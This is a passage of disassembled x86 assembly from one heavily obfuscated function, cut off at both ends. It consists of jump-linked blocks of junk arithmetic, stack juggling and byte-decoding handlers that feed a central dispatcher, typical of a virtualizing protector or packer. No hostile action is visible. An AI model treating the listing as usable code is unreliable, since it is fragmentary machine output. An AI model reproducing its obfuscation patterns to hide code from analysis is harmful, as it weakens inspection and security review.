shr ebx, 5 xor ebx, 117D6552h push edx jmp loc_581E51 ; --------------------------------------------------------------------------- loc_582DEC: ; CODE XREF: sub_57DD3A+4F95j not ebx xchg ebx, [esp+9Ch+var_9C] pop ecx add ecx, 54191C5Dh jmp loc_58CBF1 ; --------------------------------------------------------------------------- loc_582DFD: ; CODE XREF: sub_57DD3A+D20Ej mov dh, ah mov bl, dh jmp loc_583E3D ; --------------------------------------------------------------------------- loc_582E06: ; CODE XREF: sub_57DD3A+3ED4j mov edx, 3B19504Ch push 4148h mov [esp+80h+var_80], eax mov eax, 193C7EFEh or edx, eax pop eax push edx inc [esp+80h+var_80] mov edx, [esp+80h+var_80] add esp, 4 jmp loc_588AAC ; --------------------------------------------------------------------------- loc_582E2D: ; CODE XREF: sub_57DD3A+5ABFj mov ebp, [esp+7Ch+var_7C] jmp loc_583ABB ; --------------------------------------------------------------------------- loc_582E35: ; CODE XREF: sub_57DD3A+7F1Dj add ebp, ecx pop ecx add ebp, 2 xchg ebp, [esp+78h+var_78] pop esp push ebx push 2CEDh mov [esp+7Ch+var_7C], ecx mov ch, al jmp loc_58561D ; --------------------------------------------------------------------------- loc_582E4F: ; CODE XREF: sub_57DD3A+7744j pop esp mov [esp+78h+var_78], edi push esp pop edi jmp loc_5879B7 ; --------------------------------------------------------------------------- loc_582E5A: ; CODE XREF: sub_57DD3A+5CD6j add edi, edx pop edx xchg edi, [esp+74h+var_74] pop esp add ebx, 4 jmp loc_587D07 ; --------------------------------------------------------------------------- lodsb jmp loc_584FC8 ; --------------------------------------------------------------------------- loc_582E72: ; CODE XREF: sub_57DD3A+6739j pop edx sub eax, ecx jmp loc_587C39 ; --------------------------------------------------------------------------- loc_582E7A: ; CODE XREF: sub_57DD3A+4B75j mov eax, 20703F2Ch mov ebp, 3EC8358Ch jmp loc_58C967 ; --------------------------------------------------------------------------- loc_582E89: ; CODE XREF: sub_57DD3A+8774j mov ebp, 1B248C7h neg ebp add ebp, 6132C6F6h jmp loc_58A585 ; --------------------------------------------------------------------------- loc_582E9B: ; CODE XREF: sub_57DD3A+D795j mov word ptr [esp+0A6h+var_A8+2], dx mov dh, 1Bh jmp loc_587A95 ; --------------------------------------------------------------------------- loc_582EA6: ; CODE XREF: sub_57DD3A+EE09j add eax, 20371F67h push 7098h mov [esp+0AAh+var_AC+2], esi mov esi, 1E5047AAh push edx mov edx, 6CB87C3Eh add eax, edx pop edx jmp loc_589437 ; --------------------------------------------------------------------------- loc_582EC6: ; CODE XREF: sub_57DD3A+4F05j or ebp, 67DA4631h jmp loc_58800C ; --------------------------------------------------------------------------- loc_582ED1: ; CODE XREF: sub_57DD3A+BCEDj pop esi pop [esp+8Ch+var_8C] pop esp jmp loc_586E5B ; --------------------------------------------------------------------------- loc_582EDB: ; CODE XREF: sub_57DD3A+D6B5j push esi mov esi, 302C2728h neg esi add esi, 6AF66FA9h sub esi, 0D341E4FDh sub edi, esi jmp loc_588C67 ; --------------------------------------------------------------------------- loc_582EF6: ; CODE XREF: sub_57DD3A+E307j sub ebp, 5E5D1395h mov eax, [esp+88h+var_88] add esp, 4 add ebp, 2 jmp loc_58C1A6 ; --------------------------------------------------------------------------- loc_582F0A: ; CODE XREF: sub_57DD3A+EE6Dj push cx mov cl, bl not cl mov bl, cl pop cx jmp loc_5873CE ; --------------------------------------------------------------------------- loc_582F19: ; CODE XREF: sub_57DD3A+5DBEj mov [esp+84h+var_84], ecx jmp loc_58BBF4 ; --------------------------------------------------------------------------- loc_582F21: ; CODE XREF: sub_57DD3A+F7B9j mov eax, 4 add edx, 3023444Ah jmp loc_582FD1 ; --------------------------------------------------------------------------- loc_582F31: ; CODE XREF: sub_57DD3A+A7B4j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+84h+var_84] pop esp sub esp, 4 mov [esp+84h+var_84], edx push eax jmp loc_588A76 ; --------------------------------------------------------------------------- loc_582F52: ; CODE XREF: sub_57DD3A+B6E8j push 2E2E6C23h pop esi mov ebx, esi pop esi mov ebp, 50EC4A1Bh xor ebp, ebx pop ebx inc ebp sub ebp, 7D5D79FDh shr ebp, 3 add ebp, 0FFD36A7Dh jmp loc_586B53 ; --------------------------------------------------------------------------- loc_582F78: ; CODE XREF: sub_57DD3A+7788j sub al, ch jmp loc_58AE67 ; --------------------------------------------------------------------------- loc_582F7F: ; CODE XREF: sub_57DD3A+5576j add eax, 1F7C0297h mov edx, [esp+80h+var_80] add esp, 4 sub esp, 4 mov [esp+80h+var_80], esi mov esi, 2 add eax, esi pop esi xchg eax, [esp+7Ch+var_7C] jmp loc_58661F ; --------------------------------------------------------------------------- loc_582FA3: ; CODE XREF: sub_57DD3A+6912j add ecx, edi push [esp+7Ch+var_7C] pop edi jmp loc_58ADD0 ; --------------------------------------------------------------------------- loc_582FAE: ; CODE XREF: sub_57DD3A+E27Dj pop ebx push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp+78h+var_78] pop esp jmp loc_58ABBF ; --------------------------------------------------------------------------- loc_582FC1: ; CODE XREF: sub_57DD3A+52FEj add al, 0DEh pop edx push ecx mov ch, 74h inc ch push edx mov dh, 0Eh jmp loc_58746D ; --------------------------------------------------------------------------- loc_582FD1: ; CODE XREF: sub_57DD3A+51F2j sub edx, eax push 489Eh jmp loc_584C3F ; --------------------------------------------------------------------------- loc_582FDD: ; CODE XREF: sub_57DD3A+66E4j sub eax, 0B9C606FCh add esi, eax push [esp+88h+var_88] pop eax add esp, 4 add edi, esi pop esi push 6A32h mov [esp+84h+var_84], ecx mov ecx, 2 add edi, ecx pop ecx push 6EF6h mov [esp+84h+var_84], edi jmp loc_58DF46 ; --------------------------------------------------------------------------- loc_58300E: ; CODE XREF: sub_57DD3A+631Ej push cx jmp loc_58DD53 ; --------------------------------------------------------------------------- loc_583015: ; CODE XREF: sub_57DD3A+C8DFj add esi, edi push [esp+86h+var_88+2] pop edi add esp, 4 add esi, 4 jmp loc_58986C ; --------------------------------------------------------------------------- loc_583029: ; CODE XREF: sub_57DD3A+FBA1j pop bx neg dh not dh neg dh add dh, 0FBh sub al, 0DEh sub al, dh jmp loc_582FC1 ; --------------------------------------------------------------------------- loc_58303D: ; CODE XREF: sub_57DD3A+75DAj mov esi, [esp+80h+var_80] push ebx push esp pop ebx push ecx push ebp mov ebp, 2DF2706Fh or ebp, 3A14580Fh shl ebp, 5 inc ebp shr ebp, 7 add ebp, 1347710Eh add ebp, 0F7DD0DDFh mov ecx, ebp mov ebp, [esp+8Ch+var_8C] add esp, 4 or ecx, 258359B5h add ecx, 646C6378h jmp loc_582618 ; --------------------------------------------------------------------------- lodsb xor al, bl push 69E5h mov [esp+8Ch+var_8C], edx jmp loc_584953 ; --------------------------------------------------------------------------- loc_58308F: ; CODE XREF: sub_57DD3A+AFCFj xor [esp+8Ch+var_8C], ecx xor ecx, [esp+8Ch+var_8C] pop esp mov [esp+88h+var_88], ebx push 3E96h mov [esp+8Ch+var_8C], eax jmp loc_584CB1 ; --------------------------------------------------------------------------- loc_5830A6: ; CODE XREF: sub_57DD3A+4BB0j sub eax, edi jmp loc_58932A ; --------------------------------------------------------------------------- loc_5830AD: ; CODE XREF: sub_57DD3A+F34Fj pop ebx shl ecx, 5 sub esp, 4 jmp loc_58D020 ; --------------------------------------------------------------------------- loc_5830BC: ; CODE XREF: sub_57DD3A+DD06j push 485Ch mov [esp+0A6h+var_A8+2], ebx mov ebx, 634C5957h dec ebx dec ebx shr ebx, 5 inc ebx jmp loc_581CE1 ; --------------------------------------------------------------------------- loc_5830D4: ; CODE XREF: sub_57DD3A+F4E1j xchg eax, edi or eax, 747461Eh sub esp, 4 jmp loc_58C02E ; --------------------------------------------------------------------------- loc_5830E5: ; CODE XREF: sub_57DD3A+F97Bj add esp, 4 add eax, esi jmp loc_58D2F7 ; --------------------------------------------------------------------------- loc_5830EF: ; CODE XREF: sub_57DD3A+E2A4j push edx mov edx, 5ACF07D0h add edx, 185F378Ah jmp loc_583752 ; --------------------------------------------------------------------------- loc_583100: ; CODE XREF: sub_57DD3A+9263j mov eax, 36480902h inc eax and eax, 4A0B2D9Ah dec eax jmp loc_58AB55 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0AAh+var_AC+2] sub esp, 4 mov [esp+0AEh+var_B0+2], ecx sub esp, 4 mov [esp+0B2h+var_B4+2], esp jmp loc_58C3CC ; --------------------------------------------------------------------------- loc_583129: ; CODE XREF: sub_57DD3A+87E0j mov ecx, [esp+0B2h+var_B4+2] jmp loc_581BBA ; --------------------------------------------------------------------------- loc_583131: ; CODE XREF: sub_57DD3A+47BEj pop eax add eax, ebp jmp loc_58626E ; --------------------------------------------------------------------------- loc_583139: ; CODE XREF: sub_57DD3A+7CCDj or edx, 3C6E2A80h inc edx push ebp mov ebp, 1BF016ABh inc ebp sub ebp, 2B9F6B0h sub edx, ebp pop ebp add ecx, edx pop edx add esi, 68686B4Dh jmp loc_58B68D ; --------------------------------------------------------------------------- loc_58315E: ; CODE XREF: sub_57DD3A+8F24j not dl push small 4E1Bh mov word ptr [esp+9Ch+var_9C], cx mov ch, 96h xor dl, ch jmp loc_58E00E ; --------------------------------------------------------------------------- loc_583171: ; CODE XREF: sub_57DD3A+77B8j push edx mov dh, 0B2h not dh sub dh, 61h xor cl, dh pop edx sub cl, 0B9h push eax mov al, 6Dh or cl, al jmp loc_582522 ; --------------------------------------------------------------------------- loc_583189: ; CODE XREF: sub_57DD3A+E4BDj sub bl, 35h sub bl, dl add bl, 35h mov edx, [esp+0A0h+var_A0] jmp loc_589C69 ; --------------------------------------------------------------------------- loc_583199: ; CODE XREF: sub_57DD3A+714Bj xchg ecx, ebx inc ecx jmp loc_5839BA ; --------------------------------------------------------------------------- loc_5831A1: ; CODE XREF: sub_57DD3A+481Cj push ebp mov ebp, 8A34FD4h add ebp, 662AF6DEh sub ebp, 0FFFFFFFFh sub ebp, 31FC7684h xor ebp, 2BB93DCEh add ebp, 0E8971223h add esi, ebp pop ebp push edx mov edx, 4DF230D6h push ebx mov ebx, 52D13B2Fh shr ebx, 4 jmp loc_58824F ; --------------------------------------------------------------------------- loc_5831D9: ; CODE XREF: sub_57DD3A+A0EFj push ebx mov ebx, 2 sub eax, ebx jmp loc_583B37 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5831ED: ; CODE XREF: sub_57DD3A+96CDj mov ebx, 4E1047E6h add ebx, 2A5CDBDCh add ecx, ebx jmp loc_58837B ; --------------------------------------------------------------------------- loc_5831FF: ; CODE XREF: sub_57DD3A+3C7Aj push esi mov esi, 7B7C738Fh sub [esp+66h+var_5C+2], esi pop esi pop edx mov ebx, [esp+5Eh+var_60+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+62h+var_64+2] pop esp pop dword ptr [edi+24h] loc_583221: ; CODE XREF: sub_57DD3A+EBBFj sub esp, 4 jmp loc_58C31F ; --------------------------------------------------------------------------- loc_58322C: ; CODE XREF: sub_57DD3A+8DB9j or esi, ecx jmp loc_58CD94 ; --------------------------------------------------------------------------- loc_583233: ; CODE XREF: sub_57DD3A+8562j mov [esp+5Eh+var_60+2], ecx push edi push 6ED7090Ah pop edi add edi, 9128F6F8h mov ecx, edi pop edi jmp loc_587220 ; --------------------------------------------------------------------------- loc_58324B: ; CODE XREF: sub_57DD3A+A4F0j pop edi jmp loc_588D97 ; --------------------------------------------------------------------------- mov esp, [esp+5Ah+var_5C+2] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583259: ; CODE XREF: sub_57DD3A+BC46j xor ecx, 0B958B883h jmp loc_58A3EF ; --------------------------------------------------------------------------- loc_583264: ; CODE XREF: sub_57DD3A+E0AAj pop ebp add edx, ecx jmp loc_58AA73 ; --------------------------------------------------------------------------- loc_58326C: ; CODE XREF: sub_57DD3A+7B83j pop ebp jmp loc_58615C ; --------------------------------------------------------------------------- loc_583272: ; CODE XREF: sub_57DD3A+9071j sub esp, 4 mov [esp+56h+var_58+2], esp jmp loc_58899C ; --------------------------------------------------------------------------- loc_583280: ; CODE XREF: sub_57DD3A+A893j push edx jmp loc_58686C ; --------------------------------------------------------------------------- loc_583286: ; CODE XREF: sub_57DD3A+9906j add edx, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+5Eh+var_60+2] mov esp, [esp+5Eh+var_60+2] mov [esp+5Eh+var_60+2], edi jmp loc_588A22 ; --------------------------------------------------------------------------- loc_5832A9: ; CODE XREF: sub_57DD3A+92B7j sub eax, 1F7C0297h add eax, edx jmp loc_582F7F ; --------------------------------------------------------------------------- loc_5832B5: ; CODE XREF: sub_57DD3A+72AAj shl bh, 5 push dx mov dl, bh not dl mov bh, dl pop dx shl bh, 8 dec bh not bh push edx mov dh, 5Eh jmp loc_589EA8 ; --------------------------------------------------------------------------- loc_5832D1: ; CODE XREF: sub_57DD3A+7153j add esp, 4 push esi push [esp+62h+var_60+2] mov esi, [esp+66h+var_68+2] add esp, 4 pop [esp+62h+var_64+2] jmp loc_587E8D ; --------------------------------------------------------------------------- loc_5832E7: ; CODE XREF: sub_57DD3A+4AAFj pop esi add esi, 4 add esi, 4 xchg esi, [esp+0B0h+var_B0] mov esp, [esp+0B0h+var_B0] xor ecx, 667D33CCh sub esp, 4 mov [esp+0B4h+var_B4], edx push 6164h mov [esp+0B8h+var_B8], ebx push 13EE7B04h mov ebx, [esp+0BCh+var_BC] add esp, 4 push edx mov edx, 13EE7B03h jmp loc_583E17 ; --------------------------------------------------------------------------- loc_583324: ; CODE XREF: sub_57DD3A+E613j sub esp, 4 mov [esp+0C0h+var_C0], eax jmp loc_58359B ; --------------------------------------------------------------------------- loc_583332: ; CODE XREF: sub_57DD3A+750Dj shl ch, 1 add ch, 0E9h push eax mov al, 0C6h xor al, 0AFh xor al, 41h jmp loc_586423 ; --------------------------------------------------------------------------- loc_583343: ; CODE XREF: sub_57DD3A+B994j sub esp, 4 mov [esp+0C8h+var_C8], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0C8h+var_C8] pop esp mov edx, edi push [esp+0C4h+var_C4] jmp loc_58A4D5 ; --------------------------------------------------------------------------- loc_583365: ; CODE XREF: sub_57DD3A+B269j add ebp, 4 add ebp, 2 push ebp push [esp+0CCh+var_C8] push [esp+0D0h+var_D0] pop ebp jmp loc_58BE62 ; --------------------------------------------------------------------------- push bp push small word ptr [esp+0D2h+var_D0] mov bp, word ptr [esp+0D4h+var_D4] add esp, 2 pop small word ptr [esp+0D0h+var_D0] push bp xchg dx, word ptr [esp+0D0h+var_D0] not dx xor word ptr [esp+0D0h+var_D0], dx xor dx, word ptr [esp+0D0h+var_D0] xor word ptr [esp+0D0h+var_D0], dx mov bp, word ptr [esp+0D0h+var_D0] push eax mov eax, esp jmp loc_5856C2 ; --------------------------------------------------------------------------- loc_5833B5: ; CODE XREF: sub_57DD3A+734Cj and edx, 3CDB6312h shl edx, 8 jmp loc_58D6A9 ; --------------------------------------------------------------------------- loc_5833C3: ; CODE XREF: sub_57DD3A+C5BCj pop esp jmp loc_58D3D8 ; --------------------------------------------------------------------------- loc_5833C9: ; CODE XREF: sub_57DD3A+6752j mov edx, 7C8666FAh jmp loc_587F61 ; --------------------------------------------------------------------------- loc_5833D3: ; CODE XREF: sub_57DD3A+74B4j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0D4h+var_D4] pop esp jmp loc_584DBC ; --------------------------------------------------------------------------- loc_5833E8: ; CODE XREF: sub_57DD3A+DD89j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5833ED: ; CODE XREF: sub_57DD3A+8ADEj mov esi, 6677532Bh xor edx, esi pop esi mov edi, [esp+0CCh+var_CC] jmp loc_587B0D ; --------------------------------------------------------------------------- loc_5833FD: ; CODE XREF: sub_57DD3A+F3D6j add edi, 0BAF6D387h add ecx, 2BD8370Fh add ecx, edi push ebx mov ebx, 2BD8370Fh sub ecx, ebx mov ebx, [esp+0D0h+var_D0] add esp, 4 mov edi, [esp+0CCh+var_CC] add esp, 4 xchg ecx, [esp+0C8h+var_C8] pop esp movzx eax, al push dword ptr [edi+eax*4] push 77E8h mov [esp+0CCh+var_CC], ecx push edx mov edx, 5114274Eh jmp loc_586686 ; --------------------------------------------------------------------------- loc_58343F: ; CODE XREF: sub_57DD3A+A59Cj mov dh, byte ptr [esp+0D0h+var_D0] add esp, 4 dec dh xor dh, 0B7h push cx mov cl, 0FEh jmp loc_58C288 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+0CCh+var_CC], cl pushf jmp loc_58BF2B ; --------------------------------------------------------------------------- loc_583462: ; CODE XREF: sub_57DD3A+AD27j mov esi, 62D73671h neg esi neg esi and esi, 168869DCh shr esi, 3 add esi, 0FFAFFBFAh add edi, esi push [esp+0D0h+var_D0] mov esi, [esp+0D4h+var_D4] add esp, 4 add esp, 4 jmp loc_58D9D6 ; --------------------------------------------------------------------------- loc_583490: ; CODE XREF: sub_57DD3A+D612j add [esp+0CCh+var_CC], 4 mov ebp, [esp+0CCh+var_CC] add esp, 4 push edx mov edx, 1F9027DAh not edx add edx, 7B7D028Eh jmp loc_58BBD2 ; --------------------------------------------------------------------------- loc_5834B0: ; CODE XREF: sub_57DD3A+5DF8j push esi sub esp, 4 mov [esp+0D4h+var_D4], eax push 316E5DECh pop eax add eax, 0CE91A216h mov esi, eax jmp loc_583DC8 ; --------------------------------------------------------------------------- loc_5834C9: ; CODE XREF: sub_57DD3A+10213j add esp, 4 pop [esp+0D0h+var_D0] pop esp mov ax, word ptr [esp+0C8h+var_C8] jmp loc_586C2C ; --------------------------------------------------------------------------- loc_5834DC: ; CODE XREF: sub_57DD3A+EEB2j push 43BBh mov [esp+0CCh+var_CC], edi mov edi, esp push edx jmp loc_582531 ; --------------------------------------------------------------------------- loc_5834EC: ; CODE XREF: sub_57DD3A+E62Dj shl byte ptr [esp+0D0h+var_D0], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5834F5: ; CODE XREF: sub_57DD3A+A995j push 71B31F1Dh pop ebx neg ebx add ebx, 9A8845AEh jmp loc_586598 ; --------------------------------------------------------------------------- loc_583508: ; CODE XREF: sub_57DD3A+4778j push [esp+9Ah+var_9C+2] pop ebx push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp jmp loc_581FE3 ; --------------------------------------------------------------------------- loc_583522: ; CODE XREF: sub_57DD3A+E2E3j pop esp pop [esp+9Eh+var_A0+2] pop esp mov ax, word ptr [esp+96h+var_98+2] jmp loc_58DE8C ; --------------------------------------------------------------------------- loc_583530: ; CODE XREF: sub_57DD3A+A0C4j add esp, 4 loc_583536: ; CODE XREF: sub_57DD3A+3D70j ; sub_57DD3A+3F53j push dword ptr [edi+24h] sub [esp+96h+var_98+2], 49A05D3Eh mov ecx, [esp+96h+var_98+2] add esp, 4 push esi push edi jmp loc_58E004 ; --------------------------------------------------------------------------- loc_58354D: ; CODE XREF: sub_57DD3A+B70Cj add eax, 11576F49h pop ebx pop esi push ebp jmp loc_58CC07 ; --------------------------------------------------------------------------- loc_58355A: ; CODE XREF: sub_57DD3A+DA62j mov word ptr [esp+96h+var_98+2], bx jmp loc_589FAA ; --------------------------------------------------------------------------- loc_583563: ; CODE XREF: sub_57DD3A+3F70j pop eax push edx mov edx, 0B6C31h jmp loc_589EDE ; --------------------------------------------------------------------------- loc_58356F: ; CODE XREF: sub_57DD3A+D744j sub edx, esi mov esi, [esp+88h+var_88] add esp, 4 xchg edx, [esp+84h+var_84] mov esp, [esp+84h+var_84] jmp loc_5827B5 ; --------------------------------------------------------------------------- loc_583585: ; CODE XREF: sub_57DD3A+A971j xchg eax, edi not eax xchg eax, edi push ecx mov ecx, 75F8397Bh dec ecx add ecx, 4B242366h jmp loc_589EB5 ; --------------------------------------------------------------------------- loc_58359B: ; CODE XREF: sub_57DD3A+55F3j mov eax, 7013278h jmp loc_5899D0 ; --------------------------------------------------------------------------- loc_5835A5: ; CODE XREF: sub_57DD3A+A70Dj sub ecx, 0FFFFFFFFh push 26BEh mov [esp+0C4h+var_C4], ebp mov ebp, 2D680FC4h xor ecx, ebp jmp loc_58C2FC ; --------------------------------------------------------------------------- loc_5835BC: ; CODE XREF: sub_57DD3A+9958j shr edx, 7 and edx, 204904E7h sub edx, 0FE68EE8Ah jmp loc_58B304 ; --------------------------------------------------------------------------- loc_5835D0: ; CODE XREF: sub_57DD3A+6FACj add esp, 4 push edi push 35A3495Dh pop edi shl edi, 3 add edi, 6FE64EDFh jmp loc_5825D0 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push ebx mov ebx, esp jmp loc_58A43B ; --------------------------------------------------------------------------- loc_5835F3: ; CODE XREF: sub_57DD3A+72EEj sub esp, 4 mov [esp+0D0h+var_D0], ebx push ebp jmp loc_582666 ; --------------------------------------------------------------------------- loc_5835FF: ; CODE XREF: sub_57DD3A+A44Ej jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_583604: ; CODE XREF: sub_57DD3A+47E3j pop [esp+0ACh+var_AC] jmp loc_58CABC ; --------------------------------------------------------------------------- loc_58360C: ; CODE XREF: sub_57DD3A+E2EFj add ebp, 4 xor ebp, [esp+0A8h+var_A8] xor [esp+0A8h+var_A8], ebp xor ebp, [esp+0A8h+var_A8] jmp loc_58D7EC ; --------------------------------------------------------------------------- loc_583620: ; CODE XREF: sub_57DD3A+F9DCj xor ax, si pop si push small 3EBCh mov word ptr [esp+0A8h+var_A8], bx mov bx, 1AA2h jmp loc_588C10 ; --------------------------------------------------------------------------- loc_583636: ; CODE XREF: sub_57DD3A+9AE8j add edi, esi pop esi jmp loc_589004 ; --------------------------------------------------------------------------- loc_58363E: ; CODE XREF: sub_57DD3A+B1C0j xor ecx, 700E4F7Eh xor edx, ecx pop ecx push eax jmp loc_582DC6 ; --------------------------------------------------------------------------- loc_58364D: ; CODE XREF: sub_57DD3A+86E4j push [esp+0A4h+var_A4] pop esi jmp loc_588A8D ; --------------------------------------------------------------------------- loc_583656: ; CODE XREF: sub_57DD3A+D27Dj pop dx sub al, dh jmp loc_5859EB ; --------------------------------------------------------------------------- loc_58365F: ; CODE XREF: sub_57DD3A+8CFBj xchg esi, [esp+0A2h+var_A4+2] mov esp, [esp+0A2h+var_A4+2] mov word ptr [esp+0A2h+var_A4+2], cx jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58366E: ; CODE XREF: sub_57DD3A+D6A3j add [esp+0A2h+var_A0+2], 4487729Ch add [esp+0A2h+var_A0+2], eax jmp loc_58C2EF ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0A2h+var_A4+2] push esi mov esi, esp add esi, 4 push ebp jmp loc_58A36C ; --------------------------------------------------------------------------- loc_583692: ; CODE XREF: sub_57DD3A+E4EEj add esp, 4 add bl, al jmp loc_58835E ; --------------------------------------------------------------------------- loc_58369F: ; CODE XREF: sub_57DD3A+A5DDj mov [esp+0A6h+var_A8+2], edx mov edx, 19376BF4h xor edx, 31D20C2h push ebx push esi mov esi, 0F44324Ch not esi shr esi, 5 or esi, 6E94904h push edi mov edi, 4BF381AFh add esi, edi jmp loc_58A359 ; --------------------------------------------------------------------------- loc_5836CC: ; CODE XREF: sub_57DD3A+75E7j push dx jmp loc_58CDFB ; --------------------------------------------------------------------------- loc_5836D3: ; CODE XREF: sub_57DD3A+C238j or ebx, edi pop edi not ebx neg ebx add ebx, 0C4929A1Eh sub eax, 50AB2F9Ch add eax, 18494DAEh add eax, ebx sub eax, 18494DAEh jmp loc_581C40 ; --------------------------------------------------------------------------- loc_5836F6: ; CODE XREF: sub_57DD3A+ACDDj sub eax, ebp pop ebp sub edx, 713B4A79h jmp loc_588600 ; --------------------------------------------------------------------------- loc_583704: ; CODE XREF: sub_57DD3A+5CF2j mov edi, 4 jmp loc_589848 ; --------------------------------------------------------------------------- loc_58370E: ; CODE XREF: sub_57DD3A+BEACj pop ebp jmp loc_5861B9 ; --------------------------------------------------------------------------- loc_583714: ; CODE XREF: sub_57DD3A+8BF1j mov edx, [esp+0A8h+var_A8] add esp, 4 add al, 0F0h add al, bl sub al, 0F0h add al, 0C1h jmp loc_58C456 ; --------------------------------------------------------------------------- loc_58372A: ; CODE XREF: sub_57DD3A+B263j mov edi, [esp+0A4h+var_A4] add esp, 4 add edx, 0CA0C26CFh add eax, 7A476884h jmp loc_58466A ; --------------------------------------------------------------------------- loc_583740: ; CODE XREF: sub_57DD3A+F8BDj mov ebp, 25D0B85h add ebp, 38BF4C99h shl ebp, 1 jmp loc_588A09 ; --------------------------------------------------------------------------- loc_583752: ; CODE XREF: sub_57DD3A+53C1j neg edx neg edx sub edx, 3CBD258Bh add ebx, 1AE54C70h jmp loc_587199 ; --------------------------------------------------------------------------- loc_583767: ; CODE XREF: sub_57DD3A+C1D7j add ecx, 4 push ecx push [esp+0AEh+var_AC+2] pop ecx pop [esp+0AEh+var_B0+2] jmp loc_582B90 ; --------------------------------------------------------------------------- loc_583778: ; CODE XREF: sub_57DD3A+FC0Bj add ebp, 21E63B80h add ebp, 106F5797h sub ebp, 0FFFFFFFFh or ebp, 3BF6703Eh shl ebp, 4 push 6FA8h mov [esp+0AEh+var_B0+2], eax mov eax, 358C235Bh jmp loc_58B1CD ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0AEh+var_B0+2] push edx push esp pop edx push 2922h mov [esp+0B6h+var_B8+2], ebx push eax jmp loc_583B4B ; --------------------------------------------------------------------------- loc_5837BA: ; CODE XREF: sub_57DD3A+8EBCj mov dl, 5Dh push ax mov al, 0E8h jmp loc_58D675 ; --------------------------------------------------------------------------- loc_5837C5: ; CODE XREF: sub_57DD3A+941Dj add ecx, edi jmp loc_5859C4 ; --------------------------------------------------------------------------- loc_5837CC: ; CODE XREF: sub_57DD3A+7468j sub ebp, 11A02B88h jmp loc_58CD19 ; --------------------------------------------------------------------------- loc_5837D7: ; CODE XREF: sub_57DD3A+7645j sub esi, ebx pop ebx push 4EB8h jmp loc_5864C9 ; --------------------------------------------------------------------------- loc_5837E4: ; CODE XREF: sub_57DD3A+A982j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0BCh+var_BC] pop esp jmp loc_587094 ; --------------------------------------------------------------------------- loc_5837F7: ; CODE XREF: sub_57DD3A+919Ej sub eax, ebp jmp loc_582E2D ; --------------------------------------------------------------------------- loc_5837FE: ; CODE XREF: sub_57DD3A+A531j mov ebx, [esp+0B8h+var_B8] add esp, 4 push edi jmp loc_58472B ; --------------------------------------------------------------------------- loc_58380D: ; CODE XREF: sub_57DD3A+FE9Bj mov ebx, 67641D21h push ecx mov ecx, 29EB538Dh xor ebx, ecx pop ecx shr ebx, 7 add ebx, 23C7486Dh sub ebx, 0B5162EFBh xor eax, ebx pop ebx sub eax, 0C1D6A0A6h add ecx, eax jmp loc_589455 ; --------------------------------------------------------------------------- loc_583839: ; CODE XREF: sub_57DD3A+DC0Aj shr cl, 4 jmp loc_58D9B6 ; --------------------------------------------------------------------------- loc_583841: ; CODE XREF: sub_57DD3A+62EAj sub edx, 65C4721Fh push ebx jmp loc_588F21 ; --------------------------------------------------------------------------- loc_58384D: ; CODE XREF: sub_57DD3A+F989j mov esp, [esp+0B8h+var_B8] mov eax, [esp+0B8h+var_B8] push 4752h jmp loc_585664 ; --------------------------------------------------------------------------- loc_58385D: ; CODE XREF: sub_57DD3A+E578j add edx, 4 add edx, 4 xchg edx, [esp+0BCh+var_BC] pop esp jmp loc_581D17 ; --------------------------------------------------------------------------- loc_58386F: ; CODE XREF: sub_57DD3A+C081j sub ebp, esi pop esi push 441Ah jmp loc_584F92 ; --------------------------------------------------------------------------- loc_58387C: ; CODE XREF: sub_57DD3A+4078j mov esi, 1B983802h mov ebp, 0EE71DA46h add ebp, esi pop esi push ebx mov ebx, 25597C3Fh xor ebx, 2CAE6DB8h neg ebx jmp loc_5883F6 ; --------------------------------------------------------------------------- loc_58389C: ; CODE XREF: sub_57DD3A+AE26j push edi push 40B9322Bh pop edi xor eax, edi push [esp+8Ah+var_8C+2] jmp loc_586048 ; --------------------------------------------------------------------------- loc_5838AD: ; CODE XREF: sub_57DD3A+8C07j mov esp, [esp+8Eh+var_90+2] jmp loc_58422F ; --------------------------------------------------------------------------- loc_5838B5: ; CODE XREF: sub_57DD3A+721Aj add ebx, 4 add ebx, 2 xor ebx, [esp+8Eh+var_90+2] xor [esp+8Eh+var_90+2], ebx xor ebx, [esp+8Eh+var_90+2] pop esp jmp loc_58B54C ; --------------------------------------------------------------------------- loc_5838CD: ; CODE XREF: sub_57DD3A+F94Cj sub esp, 4 mov [esp+8Eh+var_90+2], esp add [esp+8Eh+var_90+2], 4 mov edx, [esp+8Eh+var_90+2] jmp loc_58A3D8 ; --------------------------------------------------------------------------- lodsb push ecx mov cl, 0FAh xor cl, 5Bh add al, cl pop ecx sub al, 58h jmp loc_5887EE ; --------------------------------------------------------------------------- loc_5838F3: ; CODE XREF: sub_57DD3A+C6E1j mov ecx, 31BE6307h mov ebp, ecx pop ecx shr ebp, 7 jmp loc_58BAE4 ; --------------------------------------------------------------------------- loc_583903: ; CODE XREF: sub_57DD3A+DC27j pop ebx pop ecx mov edx, [esp+82h+var_84+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+86h+var_88+2] pop esp jmp loc_58BAC2 ; --------------------------------------------------------------------------- loc_583920: ; CODE XREF: sub_57DD3A+A112j sub ebx, 4 xor ebx, [esp+82h+var_84+2] xor [esp+82h+var_84+2], ebx xor ebx, [esp+82h+var_84+2] jmp loc_58C9B9 ; --------------------------------------------------------------------------- loc_583934: ; CODE XREF: sub_57DD3A+EE9Aj add eax, 